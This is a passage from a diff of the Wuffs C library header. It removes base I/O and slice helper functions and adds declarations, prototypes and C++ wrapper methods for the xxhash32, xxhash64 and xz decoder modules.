WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap -+ // allocated, not stack allocated. Its size is not intended to be known at -+ // compile time, but it is unfortunately divulged as a side effect of -+ // defining C++ convenience methods. Use "sizeof__T()", calling the function, -+ // instead of "sizeof T", invoking the operator. To make the two values -+ // different, so that passing the latter will be rejected by the initialize -+ // function, we add an arbitrary amount of dead weight. -+ uint8_t dead_weight[123000000]; // 123 MB. -+#endif // !defined(WUFFS_IMPLEMENTATION) -+ -+ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+ initialize( -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options) { -+ return wuffs_xxhash32__hasher__initialize( -+ this, sizeof_star_self, wuffs_version, options); - } -- return len; --} - --static inline wuffs_base__empty_struct // --wuffs_base__bulk_load_host_endian(void* ptr, -- size_t len, -- wuffs_base__slice_u8 src) { -- if (len && (len <= src.len)) { -- memmove(ptr, src.ptr, len); -+ inline wuffs_base__hasher_u32* -+ upcast_as__wuffs_base__hasher_u32() { -+ return (wuffs_base__hasher_u32*)this; - } -- return wuffs_base__make_empty_struct(); --} - --static inline wuffs_base__empty_struct // --wuffs_base__bulk_memset(void* ptr, size_t len, uint8_t byte_value) { -- if (len) { -- memset(ptr, byte_value, len); -+ inline uint64_t -+ get_quirk( -+ uint32_t a_key) const { -+ return wuffs_xxhash32__hasher__get_quirk(this, a_key); - } -- return wuffs_base__make_empty_struct(); --} - --static inline wuffs_base__empty_struct // --wuffs_base__bulk_save_host_endian(void* ptr, -- size_t len, -- wuffs_base__slice_u8 dst) { -- if (len && (len <= dst.len)) { -- memmove(dst.ptr, ptr, len); -+ inline wuffs_base__status -+ set_quirk( -+ uint32_t a_key, -+ uint64_t a_value) { -+ return wuffs_xxhash32__hasher__set_quirk(this, a_key, a_value); - } -- return wuffs_base__make_empty_struct(); --} - --// -------- -+ inline wuffs_base__empty_struct -+ update( -+ wuffs_base__slice_u8 a_x) { -+ return wuffs_xxhash32__hasher__update(this, a_x); -+ } - --static inline wuffs_base__slice_u8 // --wuffs_base__table_u8__row_u32(wuffs_base__table_u8 t, uint32_t y) { -- if (y < t.height) { -- return wuffs_base__make_slice_u8(t.ptr + (t.stride * y), t.width); -+ inline uint32_t -+ update_u32( -+ wuffs_base__slice_u8 a_x) { -+ return wuffs_xxhash32__hasher__update_u32(this, a_x); - } -- return wuffs_base__make_slice_u8(NULL, 0); --} - --// ---------------- Slices and Tables (Utility) -+ inline uint32_t -+ checksum_u32() const { -+ return wuffs_xxhash32__hasher__checksum_u32(this); -+ } - --#define wuffs_base__utility__empty_slice_u8 wuffs_base__empty_slice_u8 -+#endif // __cplusplus -+}; // struct wuffs_xxhash32__hasher__struct - --// ---------------- Ranges and Rects -+#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --static inline uint32_t // --wuffs_base__range_ii_u32__get_min_incl(const wuffs_base__range_ii_u32* r) { -- return r->min_incl; --} -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) - --static inline uint32_t // --wuffs_base__range_ii_u32__get_max_incl(const wuffs_base__range_ii_u32* r) { -- return r->max_incl; --} -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) - --static inline uint32_t // --wuffs_base__range_ie_u32__get_min_incl(const wuffs_base__range_ie_u32* r) { -- return r->min_incl; --} -+// ---------------- Status Codes - --static inline uint32_t // --wuffs_base__range_ie_u32__get_max_excl(const wuffs_base__range_ie_u32* r) { -- return r->max_excl; --} -+// ---------------- Public Consts - --static inline uint64_t // --wuffs_base__range_ii_u64__get_min_incl(const wuffs_base__range_ii_u64* r) { -- return r->min_incl; --} -+// ---------------- Struct Declarations - --static inline uint64_t // --wuffs_base__range_ii_u64__get_max_incl(const wuffs_base__range_ii_u64* r) { -- return r->max_incl; --} -+typedef struct wuffs_xxhash64__hasher__struct wuffs_xxhash64__hasher; - --static inline uint64_t // --wuffs_base__range_ie_u64__get_min_incl(const wuffs_base__range_ie_u64* r) { -- return r->min_incl; --} -+#ifdef __cplusplus -+extern "C" { -+#endif - --static inline uint64_t // --wuffs_base__range_ie_u64__get_max_excl(const wuffs_base__range_ie_u64* r) { -- return r->max_excl; --} -+// ---------------- Public Initializer Prototypes - --// ---------------- Ranges and Rects (Utility) -+// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, -+// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". -+// -+// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. -+// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - --#define wuffs_base__utility__empty_range_ii_u32 wuffs_base__empty_range_ii_u32 --#define wuffs_base__utility__empty_range_ie_u32 wuffs_base__empty_range_ie_u32 --#define wuffs_base__utility__empty_range_ii_u64 wuffs_base__empty_range_ii_u64 --#define wuffs_base__utility__empty_range_ie_u64 wuffs_base__empty_range_ie_u64 --#define wuffs_base__utility__empty_rect_ii_u32 wuffs_base__empty_rect_ii_u32 --#define wuffs_base__utility__empty_rect_ie_u32 wuffs_base__empty_rect_ie_u32 --#define wuffs_base__utility__make_range_ii_u32 wuffs_base__make_range_ii_u32 --#define wuffs_base__utility__make_range_ie_u32 wuffs_base__make_range_ie_u32 --#define wuffs_base__utility__make_range_ii_u64 wuffs_base__make_range_ii_u64 --#define wuffs_base__utility__make_range_ie_u64 wuffs_base__make_range_ie_u64 --#define wuffs_base__utility__make_rect_ii_u32 wuffs_base__make_rect_ii_u32 --#define wuffs_base__utility__make_rect_ie_u32 wuffs_base__make_rect_ie_u32 -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_xxhash64__hasher__initialize( -+ wuffs_xxhash64__hasher* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options); - --// ---------------- I/O -+size_t -+sizeof__wuffs_xxhash64__hasher(void); - --static inline uint64_t // --wuffs_base__io__count_since(uint64_t mark, uint64_t index) { -- if (index >= mark) { -- return index - mark; -- } -- return 0; --} -+// ---------------- Allocs - --// TODO: drop the "const" in "const uint8_t* ptr". Some though required about --// the base.io_reader.since method returning a mutable "slice base.u8". --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wcast-qual" --#endif --static inline wuffs_base__slice_u8 // --wuffs_base__io__since(uint64_t mark, uint64_t index, const uint8_t* ptr) { -- if (index >= mark) { -- return wuffs_base__make_slice_u8(((uint8_t*)ptr) + mark, -- ((size_t)(index - mark))); -- } -- return wuffs_base__make_slice_u8(NULL, 0); --} --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -+// These functions allocate and initialize Wuffs structs. They return NULL if -+// memory allocation fails. If they return non-NULL, there is no need to call -+// wuffs_foo__bar__initialize, but the caller is responsible for eventually -+// calling free on the returned pointer. That pointer is effectively a C++ -+// std::unique_ptr. - --// -------- -+wuffs_xxhash64__hasher* -+wuffs_xxhash64__hasher__alloc(void); - --static inline void // --wuffs_base__io_reader__limit(const uint8_t** ptr_io2_r, -- const uint8_t* iop_r, -- uint64_t limit) { -- if (((uint64_t)(*ptr_io2_r - iop_r)) > limit) { -- *ptr_io2_r = iop_r + limit; -- } -+static inline wuffs_base__hasher_u64* -+wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64(void) { -+ return (wuffs_base__hasher_u64*)(wuffs_xxhash64__hasher__alloc()); - } - --static inline uint32_t // --wuffs_base__io_reader__limited_copy_u32_to_slice(const uint8_t** ptr_iop_r, -- const uint8_t* io2_r, -- uint32_t length, -- wuffs_base__slice_u8 dst) { -- const uint8_t* iop_r = *ptr_iop_r; -- size_t n = dst.len; -- if (n > length) { -- n = length; -- } -- if (n > ((size_t)(io2_r - iop_r))) { -- n = (size_t)(io2_r - iop_r); -- } -- if (n > 0) { -- memmove(dst.ptr, iop_r, n); -- *ptr_iop_r += n; -- } -- return (uint32_t)(n); -+// ---------------- Upcasts -+ -+static inline wuffs_base__hasher_u64* -+wuffs_xxhash64__hasher__upcast_as__wuffs_base__hasher_u64( -+ wuffs_xxhash64__hasher* p) { -+ return (wuffs_base__hasher_u64*)p; - } - --// wuffs_base__io_reader__match7 returns whether the io_reader's upcoming bytes --// start with the given prefix (up to 7 bytes long). It is peek-like, not --// read-like, in that there are no side-effects. --// --// The low 3 bits of a hold the prefix length, n. --// --// The high 56 bits of a hold the prefix itself, in little-endian order. The --// first prefix byte is in bits 8..=15, the second prefix byte is in bits --// 16..=23, etc. The high (8 * (7 - n)) bits are ignored. --// --// There are three possible return values: --// - 0 means success. --// - 1 means inconclusive, equivalent to "$short read". --// - 2 means failure. --static inline uint32_t // --wuffs_base__io_reader__match7(const uint8_t* iop_r, -- const uint8_t* io2_r, -- wuffs_base__io_buffer* r, -- uint64_t a) { -- uint32_t n = a & 7; -- a >>= 8; -- if ((io2_r - iop_r) >= 8) { -- uint64_t x = wuffs_base__peek_u64le__no_bounds_check(iop_r); -- uint32_t shift = 8 * (8 - n); -- return ((a << shift) == (x << shift)) ? 0 : 2; -- } -- for (; n > 0; n--) { -- if (iop_r >= io2_r) { -- return (r && r->meta.closed) ? 2 : 1; -- } else if (*iop_r != ((uint8_t)(a))) { -- return 2; -- } -- iop_r++; -- a >>= 8; -- } -- return 0; --} -+// ---------------- Public Function Prototypes - --static inline wuffs_base__io_buffer* // --wuffs_base__io_reader__set(wuffs_base__io_buffer* b, -- const uint8_t** ptr_iop_r, -- const uint8_t** ptr_io0_r, -- const uint8_t** ptr_io1_r, -- const uint8_t** ptr_io2_r, -- wuffs_base__slice_u8 data, -- uint64_t history_position) { -- b->data = data; -- b->meta.wi = data.len; -- b->meta.ri = 0; -- b->meta.pos = history_position; -- b->meta.closed = false; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_xxhash64__hasher__get_quirk( -+ const wuffs_xxhash64__hasher* self, -+ uint32_t a_key); - -- *ptr_iop_r = data.ptr; -- *ptr_io0_r = data.ptr; -- *ptr_io1_r = data.ptr; -- *ptr_io2_r = data.ptr + data.len; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_xxhash64__hasher__set_quirk( -+ wuffs_xxhash64__hasher* self, -+ uint32_t a_key, -+ uint64_t a_value); - -- return b; --} -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_xxhash64__hasher__update( -+ wuffs_xxhash64__hasher* self, -+ wuffs_base__slice_u8 a_x); - --// -------- -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_xxhash64__hasher__update_u64( -+ wuffs_xxhash64__hasher* self, -+ wuffs_base__slice_u8 a_x); - --static inline uint64_t // --wuffs_base__io_writer__copy_from_slice(uint8_t** ptr_iop_w, -- uint8_t* io2_w, -- wuffs_base__slice_u8 src) { -- uint8_t* iop_w = *ptr_iop_w; -- size_t n = src.len; -- if (n > ((size_t)(io2_w - iop_w))) { -- n = (size_t)(io2_w - iop_w); -- } -- if (n > 0) { -- memmove(iop_w, src.ptr, n); -- *ptr_iop_w += n; -- } -- return (uint64_t)(n); --} -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_xxhash64__hasher__checksum_u64( -+ const wuffs_xxhash64__hasher* self); - --static inline void // --wuffs_base__io_writer__limit(uint8_t** ptr_io2_w, -- uint8_t* iop_w, -- uint64_t limit) { -- if (((uint64_t)(*ptr_io2_w - iop_w)) > limit) { -- *ptr_io2_w = iop_w + limit; -- } --} -+#ifdef __cplusplus -+} // extern "C" -+#endif - --static inline uint32_t // --wuffs_base__io_writer__limited_copy_u32_from_history(uint8_t** ptr_iop_w, -- uint8_t* io0_w, -- uint8_t* io2_w, -- uint32_t length, -- uint32_t distance) { -- if (!distance) { -- return 0; -- } -- uint8_t* p = *ptr_iop_w; -- if ((size_t)(p - io0_w) < (size_t)(distance)) { -- return 0; -- } -- uint8_t* q = p - distance; -- size_t n = (size_t)(io2_w - p); -- if ((size_t)(length) > n) { -- length = (uint32_t)(n); -- } else { -- n = (size_t)(length); -- } -- // TODO: unrolling by 3 seems best for the std/deflate benchmarks, but that -- // is mostly because 3 is the minimum length for the deflate format. This -- // function implementation shouldn't overfit to that one format. Perhaps the -- // limited_copy_u32_from_history Wuffs method should also take an unroll hint -- // argument, and the cgen can look if that argument is the constant -- // expression '3'. -- // -- // See also wuffs_base__io_writer__limited_copy_u32_from_history_fast below. -- for (; n >= 3; n -= 3) { -- *p++ = *q++; -- *p++ = *q++; -- *p++ = *q++; -- } -- for (; n; n--) { -- *p++ = *q++; -- } -- *ptr_iop_w = p; -- return length; --} -+// ---------------- Struct Definitions - --// wuffs_base__io_writer__limited_copy_u32_from_history_fast is like the --// wuffs_base__io_writer__limited_copy_u32_from_history function above, but has --// stronger pre-conditions. -+// These structs' fields, and the sizeof them, are private implementation -+// details that aren't guaranteed to be stable across Wuffs versions. - // --// The caller needs to prove that: --// - length <= (io2_w - *ptr_iop_w) --// - distance >= 1 --// - distance <= (*ptr_iop_w - io0_w) --static inline uint32_t // --wuffs_base__io_writer__limited_copy_u32_from_history_fast(uint8_t** ptr_iop_w, -- uint8_t* io0_w, -- uint8_t* io2_w, -- uint32_t length, -- uint32_t distance) { -- uint8_t* p = *ptr_iop_w; -- uint8_t* q = p - distance; -- uint32_t n = length; -- for (; n >= 3; n -= 3) { -- *p++ = *q++; -- *p++ = *q++; -- *p++ = *q++; -- } -- for (; n; n--) { -- *p++ = *q++; -+// See https://en.wikipedia.org/wiki/Opaque_pointer#C -+ -+#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+ -+struct wuffs_xxhash64__hasher__struct { -+ // Do not access the private_impl's or private_data's fields directly. There -+ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use -+ // the wuffs_foo__bar__baz functions. -+ // -+ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct -+ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. -+ -+ struct { -+ uint32_t magic; -+ uint32_t active_coroutine; -+ wuffs_base__vtable vtable_for__wuffs_base__hasher_u64; -+ wuffs_base__vtable null_vtable; -+ -+ uint64_t f_length_modulo_u64; -+ bool f_length_overflows_u64; -+ uint8_t f_padding0; -+ uint8_t f_padding1; -+ uint8_t f_padding2; -+ uint32_t f_buf_len; -+ uint8_t f_buf_data[32]; -+ uint64_t f_v0; -+ uint64_t f_v1; -+ uint64_t f_v2; -+ uint64_t f_v3; -+ } private_impl; -+ -+#ifdef __cplusplus -+#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ using unique_ptr = std::unique_ptr; -+ -+ // On failure, the alloc_etc functions return nullptr. They don't throw. -+ -+ static inline unique_ptr -+ alloc() { -+ return unique_ptr(wuffs_xxhash64__hasher__alloc()); - } -- *ptr_iop_w = p; -- return length; --} - --// wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast --// copies the previous byte (the one immediately before *ptr_iop_w), copying 8 --// byte chunks at a time. Each chunk contains 8 repetitions of the same byte. --// --// In terms of number of bytes copied, length is rounded up to a multiple of 8. --// As a special case, a zero length rounds up to 8 (even though 0 is already a --// multiple of 8), since there is always at least one 8 byte chunk copied. --// --// In terms of advancing *ptr_iop_w, length is not rounded up. --// --// The caller needs to prove that: --// - (length + 8) <= (io2_w - *ptr_iop_w) --// - distance == 1 --// - distance <= (*ptr_iop_w - io0_w) --static inline uint32_t // --wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( -- uint8_t** ptr_iop_w, -- uint8_t* io0_w, -- uint8_t* io2_w, -- uint32_t length, -- uint32_t distance) { -- uint8_t* p = *ptr_iop_w; -- uint64_t x = p[-1]; -- x |= x << 8; -- x |= x << 16; -- x |= x << 32; -- uint32_t n = length; -- while (1) { -- wuffs_base__poke_u64le__no_bounds_check(p, x); -- if (n <= 8) { -- p += n; -- break; -- } -- p += 8; -- n -= 8; -+ static inline wuffs_base__hasher_u64::unique_ptr -+ alloc_as__wuffs_base__hasher_u64() { -+ return wuffs_base__hasher_u64::unique_ptr( -+ wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64()); - } -- *ptr_iop_w = p; -- return length; --} -+#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - --// wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast is --// like the wuffs_base__io_writer__limited_copy_u32_from_history_fast function --// above, but copies 8 byte chunks at a time. --// --// In terms of number of bytes copied, length is rounded up to a multiple of 8. --// As a special case, a zero length rounds up to 8 (even though 0 is already a --// multiple of 8), since there is always at least one 8 byte chunk copied. --// --// In terms of advancing *ptr_iop_w, length is not rounded up. --// --// The caller needs to prove that: --// - (length + 8) <= (io2_w - *ptr_iop_w) --// - distance >= 8 --// - distance <= (*ptr_iop_w - io0_w) --static inline uint32_t // --wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( -- uint8_t** ptr_iop_w, -- uint8_t* io0_w, -- uint8_t* io2_w, -- uint32_t length, -- uint32_t distance) { -- uint8_t* p = *ptr_iop_w; -- uint8_t* q = p - distance; -- uint32_t n = length; -- while (1) { -- memcpy(p, q, 8); -- if (n <= 8) { -- p += n; -- break; -- } -- p += 8; -- q += 8; -- n -= 8; -+#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ // Disallow constructing or copying an object via standard C++ mechanisms, -+ // e.g. the "new" operator, as this struct is intentionally opaque. Its total -+ // size and field layout is not part of the public, stable, memory-safe API. -+ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and -+ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as -+ // their first argument) rather than tweaking bar.private_impl.qux fields. -+ // -+ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless -+ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in -+ // order to provide convenience methods. These forward on "this", so that you -+ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -+ wuffs_xxhash64__hasher__struct() = delete; -+ wuffs_xxhash64__hasher__struct(const wuffs_xxhash64__hasher__struct&) = delete; -+ wuffs_xxhash64__hasher__struct& operator=( -+ const wuffs_xxhash64__hasher__struct&) = delete; -+#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ -+#if !defined(WUFFS_IMPLEMENTATION) -+ // As above, the size of the struct is not part of the public API, and unless -+ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap -+ // allocated, not stack allocated. Its size is not intended to be known at -+ // compile time, but it is unfortunately divulged as a side effect of -+ // defining C++ convenience methods. Use "sizeof__T()", calling the function, -+ // instead of "sizeof T", invoking the operator. To make the two values -+ // different, so that passing the latter will be rejected by the initialize -+ // function, we add an arbitrary amount of dead weight. -+ uint8_t dead_weight[123000000]; // 123 MB. -+#endif // !defined(WUFFS_IMPLEMENTATION) -+ -+ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+ initialize( -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options) { -+ return wuffs_xxhash64__hasher__initialize( -+ this, sizeof_star_self, wuffs_version, options); - } -- *ptr_iop_w = p; -- return length; --} - --static inline uint32_t // --wuffs_base__io_writer__limited_copy_u32_from_reader(uint8_t** ptr_iop_w, -- uint8_t* io2_w, -- uint32_t length, -- const uint8_t** ptr_iop_r, -- const uint8_t* io2_r) { -- uint8_t* iop_w = *ptr_iop_w; -- size_t n = length; -- if (n > ((size_t)(io2_w - iop_w))) { -- n = (size_t)(io2_w - iop_w); -+ inline wuffs_base__hasher_u64* -+ upcast_as__wuffs_base__hasher_u64() { -+ return (wuffs_base__hasher_u64*)this; - } -- const uint8_t* iop_r = *ptr_iop_r; -- if (n > ((size_t)(io2_r - iop_r))) { -- n = (size_t)(io2_r - iop_r); -+ -+ inline uint64_t -+ get_quirk( -+ uint32_t a_key) const { -+ return wuffs_xxhash64__hasher__get_quirk(this, a_key); - } -- if (n > 0) { -- memmove(iop_w, iop_r, n); -- *ptr_iop_w += n; -- *ptr_iop_r += n; -+ -+ inline wuffs_base__status -+ set_quirk( -+ uint32_t a_key, -+ uint64_t a_value) { -+ return wuffs_xxhash64__hasher__set_quirk(this, a_key, a_value); - } -- return (uint32_t)(n); --} - --static inline uint32_t // --wuffs_base__io_writer__limited_copy_u32_from_slice(uint8_t** ptr_iop_w, -- uint8_t* io2_w, -- uint32_t length, -- wuffs_base__slice_u8 src) { -- uint8_t* iop_w = *ptr_iop_w; -- size_t n = src.len; -- if (n > length) { -- n = length; -+ inline wuffs_base__empty_struct -+ update( -+ wuffs_base__slice_u8 a_x) { -+ return wuffs_xxhash64__hasher__update(this, a_x); - } -- if (n > ((size_t)(io2_w - iop_w))) { -- n = (size_t)(io2_w - iop_w); -+ -+ inline uint64_t -+ update_u64( -+ wuffs_base__slice_u8 a_x) { -+ return wuffs_xxhash64__hasher__update_u64(this, a_x); - } -- if (n > 0) { -- memmove(iop_w, src.ptr, n); -- *ptr_iop_w += n; -+ -+ inline uint64_t -+ checksum_u64() const { -+ return wuffs_xxhash64__hasher__checksum_u64(this); - } -- return (uint32_t)(n); --} - --static inline wuffs_base__io_buffer* // --wuffs_base__io_writer__set(wuffs_base__io_buffer* b, -- uint8_t** ptr_iop_w, -- uint8_t** ptr_io0_w, -- uint8_t** ptr_io1_w, -- uint8_t** ptr_io2_w, -- wuffs_base__slice_u8 data, -- uint64_t history_position) { -- b->data = data; -- b->meta.wi = 0; -- b->meta.ri = 0; -- b->meta.pos = history_position; -- b->meta.closed = false; -+#endif // __cplusplus -+}; // struct wuffs_xxhash64__hasher__struct - -- *ptr_iop_w = data.ptr; -- *ptr_io0_w = data.ptr; -- *ptr_io1_w = data.ptr; -- *ptr_io2_w = data.ptr + data.len; -+#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - -- return b; --} -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) - --// ---------------- I/O (Utility) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) || defined(WUFFS_NONMONOLITHIC) - --#define wuffs_base__utility__empty_io_reader wuffs_base__empty_io_reader --#define wuffs_base__utility__empty_io_writer wuffs_base__empty_io_writer -+// ---------------- Status Codes - --// ---------------- Tokens -+extern const char wuffs_xz__error__bad_bcj_offset[]; -+extern const char wuffs_xz__error__bad_block_header[]; -+extern const char wuffs_xz__error__bad_checksum[]; -+extern const char wuffs_xz__error__bad_filter[]; -+extern const char wuffs_xz__error__bad_footer[]; -+extern const char wuffs_xz__error__bad_header[]; -+extern const char wuffs_xz__error__bad_header_concatenated_stream[]; -+extern const char wuffs_xz__error__bad_index[]; -+extern const char wuffs_xz__error__bad_padding[]; -+extern const char wuffs_xz__error__truncated_input[]; -+extern const char wuffs_xz__error__unsupported_checksum_algorithm[]; -+extern const char wuffs_xz__error__unsupported_filter[]; -+extern const char wuffs_xz__error__unsupported_filter_combination[]; - --// ---------------- Tokens (Utility) -+// ---------------- Public Consts - --// ---------------- Memory Allocation -+#define WUFFS_XZ__QUIRK_DECODE_STANDALONE_CONCATENATED_STREAMS 2021322752u - --// ---------------- Images -+#define WUFFS_XZ__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u - --WUFFS_BASE__MAYBE_STATIC uint64_t // --wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( -- const wuffs_base__pixel_swizzler* p, -- uint32_t up_to_num_pixels, -- wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 dst_palette, -- const uint8_t** ptr_iop_r, -- const uint8_t* io2_r); -+#define WUFFS_XZ__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 4294967568u - --WUFFS_BASE__MAYBE_STATIC uint64_t // --wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( -- const wuffs_base__pixel_swizzler* p, -- wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 dst_palette, -- const uint8_t** ptr_iop_r, -- const uint8_t* io2_r); -+// ---------------- Struct Declarations - --WUFFS_BASE__MAYBE_STATIC uint64_t // --wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( -- const wuffs_base__pixel_swizzler* p, -- wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 dst_palette, -- uint64_t num_pixels); -+typedef struct wuffs_xz__decoder__struct wuffs_xz__decoder; - --WUFFS_BASE__MAYBE_STATIC wuffs_base__status // --wuffs_base__pixel_swizzler__swizzle_ycck( -- const wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_buffer* dst, -- wuffs_base__slice_u8 dst_palette, -- uint32_t width, -- uint32_t height, -- wuffs_base__slice_u8 src0, -- wuffs_base__slice_u8 src1, -- wuffs_base__slice_u8 src2, -- wuffs_base__slice_u8 src3, -- uint32_t width0, -- uint32_t width1, -- uint32_t width2, -- uint32_t width3, -- uint32_t height0, -- uint32_t height1, -- uint32_t height2, -- uint32_t height3, -- uint32_t stride0, -- uint32_t stride1, -- uint32_t stride2, -- uint32_t stride3, -- uint8_t h0, -- uint8_t h1, -- uint8_t h2, -- uint8_t h3, -- uint8_t v0, -- uint8_t v1, -- uint8_t v2, -- uint8_t v3, -- bool is_rgb_or_cmyk, -- bool triangle_filter_for_2to1, -- wuffs_base__slice_u8 scratch_buffer_2k); -+#ifdef __cplusplus -+extern "C" { -+#endif - --// ---------------- Images (Utility) -+// ---------------- Public Initializer Prototypes - --#define wuffs_base__utility__make_pixel_format wuffs_base__make_pixel_format -+// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, -+// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". -+// -+// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. -+// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - --// ---------------- String Conversions -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_xz__decoder__initialize( -+ wuffs_xz__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options); - --// ---------------- Unicode and UTF-8 -+size_t -+sizeof__wuffs_xz__decoder(void); - --// ---------------- -+// ---------------- Allocs - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -- defined(WUFFS_CONFIG__MODULE__BASE__CORE) -+// These functions allocate and initialize Wuffs structs. They return NULL if -+// memory allocation fails. If they return non-NULL, there is no need to call -+// wuffs_foo__bar__initialize, but the caller is responsible for eventually -+// calling free on the returned pointer. That pointer is effectively a C++ -+// std::unique_ptr. - --const uint8_t wuffs_base__low_bits_mask__u8[8] = { -- 0x00, 0x01, 0x03, 0x07, 0x0F, 0x1F, 0x3F, 0x7F, --}; -+wuffs_xz__decoder* -+wuffs_xz__decoder__alloc(void); - --const uint16_t wuffs_base__low_bits_mask__u16[16] = { -- 0x0000, 0x0001, 0x0003, 0x0007, 0x000F, 0x001F, 0x003F, 0x007F, -- 0x00FF, 0x01FF, 0x03FF, 0x07FF, 0x0FFF, 0x1FFF, 0x3FFF, 0x7FFF, --}; -+static inline wuffs_base__io_transformer* -+wuffs_xz__decoder__alloc_as__wuffs_base__io_transformer(void) { -+ return (wuffs_base__io_transformer*)(wuffs_xz__decoder__alloc()); -+} - --const uint32_t wuffs_base__low_bits_mask__u32[32] = { -- 0x00000000, 0x00000001, 0x00000003, 0x00000007, 0x0000000F, 0x0000001F, -- 0x0000003F, 0x0000007F, 0x000000FF, 0x000001FF, 0x000003FF, 0x000007FF, -- 0x00000FFF, 0x00001FFF, 0x00003FFF, 0x00007FFF, 0x0000FFFF, 0x0001FFFF, -- 0x0003FFFF, 0x0007FFFF, 0x000FFFFF, 0x001FFFFF, 0x003FFFFF, 0x007FFFFF, -- 0x00FFFFFF, 0x01FFFFFF, 0x03FFFFFF, 0x07FFFFFF, 0x0FFFFFFF, 0x1FFFFFFF, -- 0x3FFFFFFF, 0x7FFFFFFF, --}; -+// ---------------- Upcasts - --const uint64_t wuffs_base__low_bits_mask__u64[64] = { -- 0x0000000000000000, 0x0000000000000001, 0x0000000000000003, -- 0x0000000000000007, 0x000000000000000F, 0x000000000000001F, -- 0x000000000000003F, 0x000000000000007F, 0x00000000000000FF, -- 0x00000000000001FF, 0x00000000000003FF, 0x00000000000007FF, -- 0x0000000000000FFF, 0x0000000000001FFF, 0x0000000000003FFF, -- 0x0000000000007FFF, 0x000000000000FFFF, 0x000000000001FFFF, -- 0x000000000003FFFF, 0x000000000007FFFF, 0x00000000000FFFFF, -- 0x00000000001FFFFF, 0x00000000003FFFFF, 0x00000000007FFFFF, -- 0x0000000000FFFFFF, 0x0000000001FFFFFF, 0x0000000003FFFFFF, -- 0x0000000007FFFFFF, 0x000000000FFFFFFF, 0x000000001FFFFFFF, -- 0x000000003FFFFFFF, 0x000000007FFFFFFF, 0x00000000FFFFFFFF, -- 0x00000001FFFFFFFF, 0x00000003FFFFFFFF, 0x00000007FFFFFFFF, -- 0x0000000FFFFFFFFF, 0x0000001FFFFFFFFF, 0x0000003FFFFFFFFF, -- 0x0000007FFFFFFFFF, 0x000000FFFFFFFFFF, 0x000001FFFFFFFFFF, -- 